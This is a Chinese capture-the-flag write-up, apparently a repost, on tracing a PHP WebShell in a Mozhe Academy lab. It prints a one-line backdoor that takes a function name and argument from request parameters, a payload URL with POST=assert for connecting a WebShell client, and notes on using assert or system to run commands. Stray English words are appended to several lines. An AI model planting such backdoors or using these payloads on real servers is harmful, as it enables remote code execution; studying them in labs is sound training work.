WebShell代碼分析溯源(第1題)墨者學院

1、訪問連接php

2、下載系統源碼後直接放到D盾裏掃描,掃到後門文件html

 

 3、查看該木馬文件shell

<?php error_reporting(0); $_GET['POST']($_POST['GET']);?>函數

1.error_reporting(0);      關閉錯誤報告post

2.$_GET['POST']($_POST['GET']);     一句話木馬,GET傳入POST值,再將密碼:GET以POST請求方式傳到後臺ui

所以構造payload:http://219.153.49.228:41996/www/cn-right.php?POST=assert,密碼爲GET  鏈接菜刀,字符編碼:utf-8編碼

 



PHP有不少危險的函數如:eval、system、assert等,那麼咱們可使用這些危險的函數來達到後門的目的:spa

eval('phpinfo();');  //eval() 把字符串做爲PHP代碼執行 echo system('dir'); //執行外部程序,而且顯示輸出 assert('phpinfo();');// 若是參數是字符串,它將會被當作 PHP 代碼來執行 assert(phpinfo()); //assert參數不加引號,也能夠執行哦

好了,看到解題思路里都是用POST=assert,那爲何不用POST=eval呢?
再看一個例子:code

 $str='assert'; $str('phpinfo();');  //正常執行 $str='eval'; $str('phpinfo();'); //Fatal error: Call to undefined function eval() in D:phpStudyPHPTutorialWWW1.php on line 9  報錯了 $str='system'; $str('cd');  //正常執行

可看到,eval並不支持可變變量形式,除了eval,還有echo、print、unset、isset、empty、include、require等語句,因此這裏不能使用POST=eval形式,由於eval不支持可變變量形式。
也能夠構造如POST=system。post裏面爲cmd/shell命令,如GET=dir。經過shell命令操做也能夠獲得key值,當前你要用eval,能夠用shell命令生成一個一句話後門便可。htm

 

 

4、在/www/html找到KEY

 

原文出處:https://www.cnblogs.com/WhiteHatKevil/p/10251975.html

相關文章
相關標籤/搜索